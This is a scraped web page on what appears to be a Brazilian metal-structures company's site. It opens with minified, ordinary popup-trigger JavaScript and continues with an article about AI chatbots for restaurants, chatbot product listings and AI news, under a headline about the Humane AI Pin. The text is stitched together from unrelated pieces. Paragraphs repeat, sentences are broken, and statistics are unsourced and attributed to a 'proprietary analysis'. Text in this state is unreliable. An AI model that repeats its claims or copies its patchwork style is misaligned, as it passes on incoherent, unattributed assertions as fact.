TimesUtils{constructor(e){this.uniqueId=e.uniqueId,this.settings=e.settings,this.storage=e.storage}getTimeFramesInSecounds(e){return{day:86400,week:604800,month:2628288}[e]}setExpiration(e,t,n){if(this.storage.get(e))this.storage.set(e,t);else{const s={lifetimeInSeconds:this.getTimeFramesInSecounds(n)};this.storage.set(e,t,s)}}getImpressionsCount(){const e=this.storage.get(this.uniqueId)??0;return parseInt(e)}incrementImpressionsCount(){if(this.settings.period)if("session"!==this.settings.period){const e=this.getImpressionsCount();this.setExpiration(this.uniqueId,e+1,this.settings.period)}else sessionStorage.setItem(this.uniqueId,parseInt(sessionStorage.getItem(this.uniqueId)??0)+1);else this.storage.set("times",(this.storage.get("times")??0)+1)}shouldCountOnOpen(){this.settings.countOnOpen&&this.incrementImpressionsCount()}shouldDisplayPerTimeFrame(){return this.getImpressionsCount()1?arguments[1]:void 0;const t=parseInt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0){var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107)),r=s(n(6237));class _default extends o.default{constructor(){super(...arguments),this.uniqueId=`popup-${this.document.getSettings("id")}-impressions-count`;const{times_count:e,times_period:t,times_times:n}=this.getSettings();this.settings={countOnOpen:e,period:t,showsLimit:parseInt(n)},""===this.settings.period&&(this.settings.period=!1),["","close"].includes(this.settings.countOnOpen)?(this.settings.countOnOpen=!1,this.onPopupHide()):this.settings.countOnOpen=!0,this.utils=new r.default({uniqueId:this.uniqueId,settings:this.settings,storage:elementorFrontend.storage})}getName(){return"times"}check(){if(!this.settings.period){const e=this.document.getStorage("times")||0,t=this.getTimingSetting("times");return this.utils.shouldDisplayBackwordCompatible(e,t)}if("session"!==this.settings.period){if(!this.utils.shouldDisplayPerTimeFrame())return!1}else if(!this.utils.shouldDisplayPerSession())return!1;return!0}onPopupHide(){window.addEventListener("elementor/popup/hide",(()=>{this.utils.incrementImpressionsCount()}))}}t.default=_default},6470:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"url"}check(){const e=this.getTimingSetting("url"),t=this.getTimingSetting("action"),n=document.referrer;if("regex"!==t)return"hide"===t^-1!==n.indexOf(e);let s;try{s=new RegExp(e)}catch(e){return!1}return s.test(n)}}t.default=_default},2635:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(4622)),r=s(n(8729)),l=s(n(358)),i=s(n(62)),a=s(n(8811)),d=s(n(9758));class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t,this.triggers=[],this.triggerClasses={page_load:o.default,scrolling:r.default,scrolling_to:l.default,click:i.default,inactivity:a.default,exit_intent:d.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(this.triggerClasses,((t,n)=>{if(!e[t])return;const s=new n(e,(()=>this.onTriggerFired()));s.run(),this.triggers.push(s)}))}destroyTriggers(){this.triggers.forEach((e=>e.destroy())),this.triggers=[]}onTriggerFired(){this.document.showModal(!0),this.destroyTriggers()}}t.default=_default},2162:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(e,t){super(e),this.callback=t}getTriggerSetting(e){return this.getSettings(this.getName()+"_"+e)}}t.default=_default},62:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkClick=this.checkClick.bind(this),this.clicksCount=0}getName(){return"click"}checkClick(){this.clicksCount++,this.clicksCount===this.getTriggerSetting("times")&&this.callback()}run(){elementorFrontend.elements.$body.on("click",this.checkClick)}destroy(){elementorFrontend.elements.$body.off("click",this.checkClick)}}t.default=_default},9758:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.detectExitIntent=this.detectExitIntent.bind(this)}getName(){return"exit_intent"}detectExitIntent(e){e.clientY<=0&&this.callback()}run(){elementorFrontend.elements.$window.on("mouseleave",this.detectExitIntent)}destroy(){elementorFrontend.elements.$window.off("mouseleave",this.detectExitIntent)}}t.default=_default},8811:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.restartTimer=this.restartTimer.bind(this)}getName(){return"inactivity"}run(){this.startTimer(),elementorFrontend.elements.$document.on("keypress mousemove",this.restartTimer)}startTimer(){this.timeOut=setTimeout(this.callback,1e3*this.getTriggerSetting("time"))}clearTimer(){clearTimeout(this.timeOut)}restartTimer(){this.clearTimer(),this.startTimer()}destroy(){this.clearTimer(),elementorFrontend.elements.$document.off("keypress mousemove",this.restartTimer)}}t.default=_default},4622:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"page_load"}run(){this.timeout=setTimeout(this.callback,1e3*this.getTriggerSetting("delay"))}destroy(){clearTimeout(this.timeout)}}t.default=_default},358:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"scrolling_to"}run(){let e;try{e=jQuery(this.getTriggerSetting("selector"))}catch(e){return}e.length&&(this.setUpIntersectionObserver(),this.observer.observe(e[0]))}setUpIntersectionObserver(){this.observer=new IntersectionObserver((e=>{e.forEach((e=>{e.isIntersecting&&this.callback()}))}))}destroy(){this.observer&&this.observer.disconnect()}}t.default=_default},8729:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkScroll=this.checkScroll.bind(this),this.lastScrollOffset=0}getName(){return"scrolling"}checkScroll(){const e=scrollY>this.lastScrollOffset?"down":"up",t=this.getTriggerSetting("direction");if(this.lastScrollOffset=scrollY,e!==t)return;if("up"===e)return void this.callback();const n=elementorFrontend.elements.$document.height()-innerHeight;scrollY/n*100>=this.getTriggerSetting("offset")&&this.callback()}run(){elementorFrontend.elements.$window.on("scroll",this.checkScroll)}destroy(){elementorFrontend.elements.$window.off("scroll",this.checkScroll)}}t.default=_default},3002:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["classic","full_content","cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(985).then(n.bind(n,2607))),e)})),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"classic"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"full_content"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,8496))),"cards"),elementorFrontend.elementsHandler.attachHandler("portfolio",(()=>n.e(824).then(n.bind(n,5208))))}}t.default=_default},8650:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("share-buttons",(()=>n.e(58).then(n.bind(n,4112))))}}t.default=_default},6701:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("slides",(()=>n.e(114).then(n.bind(n,9378))))}}t.default=_default},102:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("facebook-button",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-comments",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-embed",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-page",(()=>n.e(443).then(n.bind(n,3225))))}}t.default=_default},1748:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("table-of-contents",(()=>Promise.all([n.e(699),n.e(838)]).then(n.bind(n,8208))))}}t.default=_default},5438:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["archive_classic","archive_full_content","archive_cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8297))),e)})),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_classic"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_full_content"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,9409))),"archive_cards"),jQuery((function(){var e=location.search.match(/theme_template_id=(\d*)/),t=e?jQuery(".elementor-"+e[1]):[];t.length&&jQuery("html, body").animate({scrollTop:t.offset().top-window.innerHeight/2})}))}}t.default=_default},2439:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("search-form",(()=>n.e(858).then(n.bind(n,6709))))}}t.default=_default},5032:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("woocommerce-menu-cart",(()=>n.e(102).then(n.bind(n,2083)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-purchase-summary",(()=>n.e(1).then(n.bind(n,484)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-checkout-page",(()=>n.e(124).then(n.bind(n,9035)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-cart",(()=>n.e(859).then(n.bind(n,7649)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-my-account",(()=>n.e(979).then(n.bind(n,1915)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-notices",(()=>n.e(497).then(n.bind(n,2627)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-product-add-to-cart",(()=>n.e(800).then(n.bind(n,5767)))),elementorFrontend.isEditMode()&&elementorFrontend.on("components:init",(()=>{elementorFrontend.elements.$body.find(".elementor-widget-woocommerce-cart").length||elementorFrontend.elements.$body.append('
')}))}}t.default=_default},8003:e=>{e.exports=wp.i18n}},e=>{e.O(0,[819],(()=>{return t=7996,e(e.s=t);var t}));e.O()}]); How the Humane AI Pin Flopped The New York Times – Big Estruturas Metálicas
 

How the Humane AI Pin Flopped The New York Times

How the Humane AI Pin Flopped The New York Times

AI Chatbots: Our Top 21 Picks for 2024

chatbot for restaurants

(As mentioned, if you are interested in building a booking bot, see the tutorial linked above!). From here, click on the pink “BUILD A BOT” button in the upper right corner. According to my proprietary analysis, over 65% of large restaurant chains have already adopted conversational AI in some form, indicating the massive value potential. To learn more regarding chatbot best practices you can read our Top 14 Chatbot Best Practices That Increase Your ROI article. Create free-flowing, natural feeling conversations using advanced NLP instead of rigid bot menus.

chatbot for restaurants

The IPO for online travel agency Ixigo saw demand for the shares it offered dramatically exceed the number of shares offered this week. Tech websites have noted that one surefire way to avoid Facebook’s AI assistant is to use the social network’s stripped-down mobile site, mbasic.facebook.com. It’s aimed at people in developing countries using older phones on slower internet connections. The basic site has a retro feel that looks crude compared to the current version, and it looks even worse on desktop browsers, but it still works on a rudimentary level and without AI. Meta AI’s circle logo might still appear where the search magnifying glass used to be — and tapping on it will take you to the Meta AI field.

This restaurant employs its chatbot for both marketing purposes and addressing inquiries. The chat window is adorned with numerous images aimed at enriching the customer experience and motivating visitors to either dine in or place an order. Modern businesses depend on feedback, with 87% of customers relying on online reviews for decisions. Restaurants, in particular, are influenced by customer feedback on platforms like Yelp and TripAdvisor.

This AI chatbots platform comes with NLP (Natural Language Processing), and Machine Learning technologies. Design the conversations however you like, they can be simple, multiple-choice, or based on action buttons. Replacing servers with chatbots may reduce some of the joy that comes from human interaction in the restaurant. It is already the case that high-end restaurants put their menus on Ipads.

These ones help you with a variety of operations such as data export and calculations… but we will get to that later. With the right strategy focused on simplicity, convenience and personalization, any restaurant can realize tremendous value. Conversational AI and chatbots have exploded in popularity across industries, especially in the restaurant space.

You can design pre-configured workflows, business FAQs, and other conversation paths quickly with no programming knowledge. If you need an easy-to-use bot for your Facebook Messenger and Instagram customer support, then this chatbot provider is just for you. FAQs are of course a common use case for chatbots and could easily apply to restaurants. Del Taco, a regional Mexican fast-food chain based in Southern California, said in January that it would expand the use of conversational-AI voice assistants after a successful test. The chain is also testing internally an avocado-cutting robot named Autocado.

Monarch Social Sharing

But the pandemic forced chains to quickly embrace innovations that save labor costs and improve customer ordering experiences. Not every person visiting your restaurant needs to be a brand new customer. In fact, it costs five times more to acquire a new patron versus one who’s dined with you before.

These include their restaurant address, hotline number, rates, and reservations amongst others to ensure the visitor finds what they’re looking for. Chatbots are slowly becoming the norm in business as it helps enterprises to answer repetitive questions, generate leads,  improve user experience, make more sales and deliver fantastic customer support. As per the Business Insider report, more than 80% of enterprises will deploy chatbots by 2024. Infobip’s chatbot building platform, Answers, helps you design your ideal conversation flow with a drag-and-drop builder.

Additionally, an AI chatbot can learn from previous conversations and gradually improve its responses. While conversational AI chatbots can digest a users’ questions or comments and generate a human-like response, generative AI chatbots can take this a step further by generating new content as the output. This new content could look like high-quality text, images and sound based on LLMs they are trained on. Chatbot interfaces with generative AI can recognize, summarize, translate, predict and create content in response to a user’s query without the need for human interaction. A chatbot is computer software that uses special algorithms or artificial intelligence (AI) to conduct conversations with people via text or voice input.

Without learning complicated coding, restaurant owners can customize the chatbot to meet their unique needs, from taking bookings to making menu recommendations. Chatbots can use machine learning and artificial intelligence to provide a more human-like experience and streamline customer support. They also provide analytics to help small businesses and restaurant owners track their performance. More users are using chatbot virtual assistants to complete simple tasks in business-to-business (B2B) and business-to-consumer (B2C) situations. For example, chatbot assistants allow businesses to provide customer care when live agents aren’t accessible, cut overhead costs, and make better use of support staff time. Tidio provides a holistic, proactive chat solution for your website that uses chatbots and live chat software.

In the restaurant industry, AI tools offer a treasure-trove of potential. Their use spans a wide range of applications, focusing on the enhancement of operational efficiency and customer satisfaction. This section furnishes details about various AI-powered tools that can significantly impact the functioning of a restaurant. With the increased use of AI and real-time data to enhance customer experience, potential security risks can arise.

The voice command feature of chatbots used in restaurants ties the growth of voice search in the tourism and hospitality sectors. Businesses that optimize their content for mobile and websites with voice search in mind can gain more visibility while providing users with a better overall experience. This knowledge enables restaurants to plan a top-notch service for guests. For instance, if there will be a birthday celebration, the restaurant can prepare a cake and set the tables appropriately to enhance the customer experience. Chatbots also aid restaurants in controlling client traffic as well.

  • Infobip’s chatbot building platform, Answers, helps you design your ideal conversation flow with a drag-and-drop builder.
  • For example, promote a brand, generate leads, and boost sales by providing round-the-clock customer service.
  • Green means that it found similar content published on the web, and Red means that statements differ from published content (or that it could not find a match either way).
  • It’s important for restaurants to have their own chatbot to be able to talk to customers anytime and anywhere.
  • As a result, they are able to make particular gastronomic recommendations based on their conversations with clients.

No more jumping between eSigning tools, Word files, and shared drives. Juro’s contract AI meets users in their existing processes and workflows, encouraging quick and easy adoption. AI Chatbots can qualify leads, provide personalized experiences, and assist customers through every stage of their buyer journey. This helps drive more meaningful interactions and boosts conversion rates. AI-driven staffing solutions can help restaurants improve operational efficiency. They can predict staffing needs based on various factors, such as historical data, time of day, weather, or local events, ensuring optimal staffing levels.

DiGItal Services

With Tidio, it is easy to communicate with your visitors in real-time, capture leads, and create tailored offers for your customers-to-be. Lyro is a conversational AI chatbot created with small and medium businesses in mind. It helps free up the time of customer service reps by engaging in personalized conversations with customers for them. A voice chatbot is another conversation tool that allows users to interact with the bot by speaking to it, rather than typing.

“I do see the strength of language models as tools for making our lives better, more productive and more fair,” she says. Chatbot statistics show that 67% of users use chatbots for regular purchase-related activities. This makes chatbots one of the best solutions for a business to automate their business-related activities and drive more conversions and sales. Like FreshChat, Zendesk is also an omnichannel chatbot that allows you to manage everything from a single dashboard. That since it also can handle all kinds of support tickets and engage in live conversations with your customers. Chatfuel is your alternative to having a chatbot when you don’t have any coding skills to set up on your own.

Microsoft Copilot is an AI assistant infused with live web search results from Bing Search. Copilot represents the leading brand of Microsoft’s AI products, but you have probably heard of Bing AI (or Bing Chat), which uses the same base technologies. Copilot extends to multiple surfaces and is usable on its own landing page, in Bing search results, and increasingly in other Microsoft products and operating systems. Perplexity AI is a search-focused chatbot that uses AI to find and summarize information.

So, make sure you get some positive ratings on different review sites as well as on your Google Business Profile. Humane’s Ai Pin was supposed to free people from smartphones, but sales have been slow. In a statement, the company said that the signing aligns with its expansion strategy in India as it aims to provide diverse hospitality experiences across leisure destinations in the country.

It utilizes GPT-4 as its foundation but incorporates additional proprietary technology to enhance the capabilities of users accustomed to ChatGPT. Writesonic’s free plan includes 10,000 monthly words and access to nearly all of Writesonic’s features (including Chatsonic). LivePerson’s AI chatbot is built on 20+ years of messaging transcripts. It can answer customer inquiries, schedule appointments, provide product recommendations, suggest upgrades, provide employee support, and manage incidents. Infobip also has a generative AI-powered conversation cloud called Experiences that is currently in beta.

In addition, the chatbot improves the overall customer experience by offering details about menu items, nutritional data, and customized recommendations based on past orders. With the rise of voice search, enable customers to place orders, make reservations, and interact with your bot using natural speech. Bots enable customers to browse menus, view food photos, read descriptions, and get pricing 24/7 through conversational interfaces. For regular guests, chatbots provide a way to stay updated on new menu additions and daily specials.

Like Jasper, the entire platform is worth using, and its chatbot solution is undoubtedly worth a try. ChatGPT Plus offers a slew of additional features—chief among these are its advanced AI models GPT 4 and Dalle 3. GPT 4 is the successor of GPT 3.5, which is even more proficient in writing code and understanding what you are trying to accomplish through conversations. The free version gives users access to GPT 3.5 Turbo, a fast AI language model perfect for conversations about any industry, topic, or interest. Ada is an automated AI chatbot with support for 50+ languages on key channels like Facebook, WhatsApp, and WeChat. It’s built on large language models (LLMs) that allow it to recognize and generate text in a human-like manner.

However, I want my menu to look as attractive as possible to encourage purchases, so I will enrich my buttons with some images. It really just depends on the organization that best suits the style of your menu. One salad chain offering bot-driven recommendations saw 12% higher average order values.

But, of course, the ones that bring the most engagement are the ones you could set as default responses for your customers’ queries. If you plan to create bots for your site or Facebook Messenger, Botsify makes it to our best chatbot software list. In addition, there are a variety of templates that could be used for multiple industries and niches. LivePerson made it to our collection of the best chatbot software, one of the most powerful, enterprise-level, AI-powered chatbot solutions that runs on the most potent messaging channels. These channels include SMS, WhatsApp, WeChat, and Facebook Messenger. With some of the most interactive and responsive templates, It also allows you to alter all kinds of responses you want your Chatbot to provide to your customer.

The dark mode can be easily turned on, giving it a great appearance. The Gemini update is much faster and provides more complex and reasoned responses. Check out our detailed guide on using Bard (now Gemini) to learn more about it. It seems more advanced than Microsoft Bing’s citation capabilities and is far better than what ChatGPT can do. It also offers practical tools to combat hallucinations and false facts.

What can a chatbot be used for in a restaurant?

Two popular platforms, Shopify and Etsy, have the potential to turn those dreams into reality. Buckle up because we’re diving into Shopify vs. Etsy to see which fits your unique business goals! It’s perfect for people creating content for the internet that needs Chat GPT to be optimized for SEO. You can find various kinds of AI chatbots suited for different tasks. Here are some brief looks at the chatbots we consider the best options. Some people say there is a specific culture on the platform that might not appeal to everyone.

ChatGPT is a household name, and it’s only been public for a short time. OpenAI created this multi-model chatbot to understand and generate images, code, files, and text through a back-and-forth conversation style. The longer you work with it, the more you realize you can do with it. The following AI chatbots have been carefully selected based on various factors, including ease of use, features, functionality, pros and cons, and customer reviews. These chatbots will share many of the same capabilities as ChatGPT, but they each have their own areas of expertise.

NYC AI Chatbot Touted by Adams Tells Businesses to Break the Law – THE CITY

NYC AI Chatbot Touted by Adams Tells Businesses to Break the Law.

Posted: Fri, 29 Mar 2024 07:00:00 GMT [source]

It should, therefore, be a relatively easy step to have customers order from the Ipads via a chatbot directly rather than dictating their order to a server. It has been predicted for a while that a restaurant chatbot could take care of food ordering. There are some restaurants that do not appear on booking platforms but allow online booking. It’s arguable that a chatbot could be an alternative to a web form for booking. Of course, many restaurants participate in booking platforms such as open table which make it very easy for customers to see exact availability and compare offers during the booking process. There is no need for these restaurants to be called manually to make a booking.

Throughout my career, I’ve grappled with the challenges of aligning machine learning systems with human ethics and values. My work is driven by a belief that as AI becomes an even more integral part of our world, it’s imperative to build systems that are transparent, trustworthy, and beneficial. I’m honored to be a part of the global effort to guide AI towards a future that prioritizes safety and the betterment of humanity. The possibilities for restaurant chatbots are truly endless when it comes to engaging guests, driving revenue, and optimizing operations.

The “Double-Check Response” button will scan any output and compare its response to Google search results. Green means that it found similar content published on the web, and Red means that statements differ from published content (or that it could not find a match either way). It’s not a foolproof method for fact verification, but it works particularly well for crowdsourcing information. Chatsonic is the sister product that lets users chat with its AI instead of only using it for writing. The whole platform has gotten a lot of attention because it has a huge user base and is backed by Y Combinator.

The chat interface is simple and makes it easy to talk to different characters. Character AI is unique because it lets you talk to characters made by other users, and you can make your own. Copy.ai has undergone an identity shift, making its product more compelling beyond simple AI-generated writing. Gemini saves time by answering questions and double-checking its facts. Jasper AI is a boon for content creators looking for a smart, efficient way to produce SEO-optimized content. It’s perfect for marketers, bloggers, and businesses seeking to increase their digital presence.

chatbot for restaurants

Humane spent five years building a device to disrupt the smartphone — only to flounder. As it races to compete with OpenAI’s ChatGPT, Google has retired its Bard chatbot and released a more powerful app. Advocates of the bill say it created a culture so that those privileged and desperate are paying hundreds of dollars just to get a reservation — and that’s before the high-ticket tabs at the restaurants. I asked the chatbot about searching Facebook without Meta AI results. New York’s state legislature has passed a new bill that will require third-party reservation services to obtain permission from restaurants to book on their behalf. Adding more factually grounded training data might seem like an obvious solution.

Let’s explore how AI tools for restaurants can streamline your operations, boost your profits, and elevate your customer service to new heights. Yes, the Facebook Messenger chatbot uses artificial intelligence (AI) to communicate with people. It is an automated messaging tool integrated into the Messenger app.Find out more about Facebook chatbots, how they work, and how to build one on your own.

What is an AI Chatbot?

It’s arguable that the chatbot should be able to call several restaurants in order until it finds one with a table at the desired time. Today, restaurants are dramatically changing how they serve customers by deploying artificial-intelligence-powered systems. AI voice bots take orders in White Castle, McDonald’s, and Checkers & Rally’s drive-thru lanes.

Pro users on You.com can switch between different AI models for even more control. An AI chatbot is a program within a website or app that uses machine learning (ML) and natural language processing (NLP) to interpret inputs and understand the intent behind a request. It is trained on large data sets to recognize patterns and understand natural language, allowing it to handle complex queries and generate more accurate results.

Its Messenger chatbot gives you a selection of questions to ask, and replies with an instant, automated response. Competitions are an excellent restaurant promotion idea to get some attention for your restaurant, especially on social media. Competition-related content has a conversion rate of almost 34%, which is much higher than other content types. Take this example from Nandos, for instance, which is using a chatbot queuing system as the only means to enter the restaurant. Incorporate user-friendly UI elements such as buttons, carousels, and quick replies to guide users through the conversation. These elements make the interaction more intuitive and reduce the chances of users getting stuck or confused.

The restaurant industry has been traditionally slow to adopt new technology to attract customers. It forced restaurant and bar owners to look for affordable and easy-to-implement solutions which, thanks to the rise in no-code platforms, were not hard to find. Restaurant chatbots are designed to automate specific responsibilities carried out by human staff, like booking reservations. Chatbots might have a variety of skills depending on the use case they are deployed for. Restaurant chatbots rely on NLP to understand and interpret human language.

Cem’s hands-on enterprise software experience contributes to the insights that he generates. He oversees AIMultiple benchmarks in dynamic application security testing (DAST), data loss prevention (DLP), email marketing and web data collection. Other AIMultiple industry analysts and tech team support Cem in designing, running and evaluating benchmarks. Chatbots, like our own ChatBot, are particularly good at responding swiftly and accurately to consumer questions. This skill raises customer happiness while also making a big difference in the overall effectiveness of restaurant operations. Connect your chatbot with reservation systems, POS and ordering systems, CRM software, inventory systems, etc. to enable unified data and workflows.

You get plenty of documentation and step-by-step instructions for building your chatbots. It has a straightforward interface, so even beginners can easily make and deploy bots. You can use the content blocks, which are sections of content for an even quicker building of your bot. We’ve compared the best chatbot platforms on the web, and narrowed down the selection to the choicest few.

By providing utility and personalized engagement 24/7, chatbots allow restaurants to improve customer satisfaction along with critical metrics like revenue and marketing ROI. The future looks bright for continued innovation and adoption of chatbots across restaurants. This restaurant uses the chatbot for marketing as well as for answering questions. The business placed many images on the chat window to enhance the customer experience and encourage the visitor to visit or order from the restaurant.

Uber Eats is adding an AI chatbot to help people find restaurants – Restaurant Business Online

Uber Eats is adding an AI chatbot to help people find restaurants.

Posted: Wed, 20 Sep 2023 07:00:00 GMT [source]

Taco Bell is testing conversational AI at the drive-thru “to help us potentially automate ordering,” said Chris Turner, the chief financial officer at Taco Bell’s parent company, Yum Brands. Sister burger chains Carl’s Jr. and Hardee’s also announced plans to test Presto’s AI voice bots this year. Chippy uses artificial intelligence https://chat.openai.com/ to replicate Chipotle’s exact chip-making recipe, which results in frying chips to perfection, the company said. You can foun additiona information about ai customer service and artificial intelligence and NLP. Automation tools are growing in popularity as the restaurant industry continues to be challenged by labor shortages and turnover. Restaurants typically play catchup when it comes to adopting technologies.

Pre-built dialogue flows are included to address typical situations, including bookings, menu questions, and client comments. With a variety of features catered to the demands of the restaurant business, ChatBot distinguishes itself as a top restaurant chatbot solution. Access to comprehensive allergen information is not only a preference but also a need for clients with dietary restrictions or allergies. Restaurant chatbot examples, such as ChatBot, intervene to deliver precise and immediate ingredient information. Chatbots help create a safe and welcoming dining environment by providing this vital information, enabling all customers to make educated decisions and savor their meals without worrying about allergies. Because chatbots are direct lines of communication, restaurants may easily include them in their marketing campaigns.

Chat by Copy.ai

According to my analysis, restaurant chatbots resolve ~80% of common customer service queries with over 90% accuracy. Chatbots are culinary guides that lead clients through the complexities of the menu; they are more than just transactional tools. ChatBot is particularly good at making tailored suggestions depending on user preferences. This function offers upselling chances and enhances the consumer’s eating experience by proposing dishes based on their preferences. As a trusted advisor, the chatbot improves the value offered for both the restaurant and the guest.

In addition to adhering to legal requirements, this dedication to data security builds client trust by reassuring them that their private data is treated with the utmost care and attention. Leverage built-in analytics to monitor chatbot KPIs like response times, conversion rates, customer satisfaction, and more. According to Hospitality Technology, up to 30% of online reservations are no-shows when there are no confirmations.

  • Most chatbot platforms offer tools for developing and customizing chatbots suited for a specific customer base.
  • You can use a chatbot restaurant reservation system to make sure the bookings and orders are accurate.
  • Conversations take place in a chat widget, frequently found in a website’s bottom right corner.
  • Claude is a noteworthy chatbot to reference because of its unique characteristics.
  • When ChatGPT arrived from OpenAI at the end of 2022, wowing the public with the way it answered questions, wrote term papers and generated computer code, Google found itself playing catch-up.
  • AI isn’t just a buzzword—it’s a collection of tools with the potential to transform how you manage your business.

Tech companies such as ConverseNow are swiftly reshaping how restaurant chains including Domino’s and Wingstop take phone orders. A June Deloitte consumer survey found that consumers were also more willing to frequent restaurants that used automation. Sure, cashing in on emerging restaurant trends before they take off can be helpful, though most tend to be short-lived. But Lunchcat goes beyond the basics; it accommodates individual preferences like user-specific price shares, extra contributions, and personalized tip amounts.

Most of them are free to try and perfectly suited for small businesses. To further boost engagement, restaurants, and cloud kitchens can incorporate gamification elements into their WhatsApp chatbots. This could include quizzes, challenges, or loyalty programs where customers earn points or rewards for their interactions or frequent orders. Gamification not only entertains customers but also fosters a sense of competitiveness and incentivizes them to engage more with the chatbot and place orders.

ChatGPT is OpenAI’s conversational chatbot powered by GPT-3.5 and GPT-4. It uses a standard chat interface to communicate with users, and its responses are generated in real-time through deep learning algorithms, which analyze and learn from previous conversations. Although AI chatbots are an application of conversational AI, not all chatbots are programmed with conversational AI.

Match Group, the dating-app giant that owns Tinder, Hinge, Match.com, and others, is adding AI features. Meta’s AI tool has been integrated into chat boxes and search bars throughout the tech giant’s platforms. The assistant appears, for example, at the top of your chat list on Messenger. Ask it questions about anything or to “imagine” something and it will generate a picture or animation. In a preprint study released in January, three machine-learning researchers at the National University of Singapore presented a proof that hallucination is inevitable in large language models.

Being a keyword-based chatbot, it simplifies your business’s purchasing activities. Drift can allow you to combine your live chats with an automated bot, similar to most of the chatbots in our list of best chatbots for small businesses and big enterprises. Chatbots, image generators and voice assistants are gradually merging into a single technology with a conversational voice. One is a chat feature that allows the user to have extended, open-ended text conversations with Bing’s built-in A.I.

chatbot for restaurants

The proof applies some classic results in learning theory, such as Cantor’s diagonalization argument, to demonstrate that that LLMs simply cannot learn all computable functions. In other words, it shows that there will always be solvable problems beyond a model’s abilities. We hope you found our list of best chatbots helpful software and can quickly identify which Chatbot is perfect chatbot for restaurants for your business. Pandorabots is a chatbot packed with exclusive features suitable for all business types. It can schedule appointments and other meetings automatically and provide order status, account balance, and bill-related details to a customer. This Chatbot is an all-in-one solution for an enterprise-level website and can engage customers in meaningful conversations.

Comments are closed.

Copyright © 2017 Big Estruturas - Todos os direitos reservados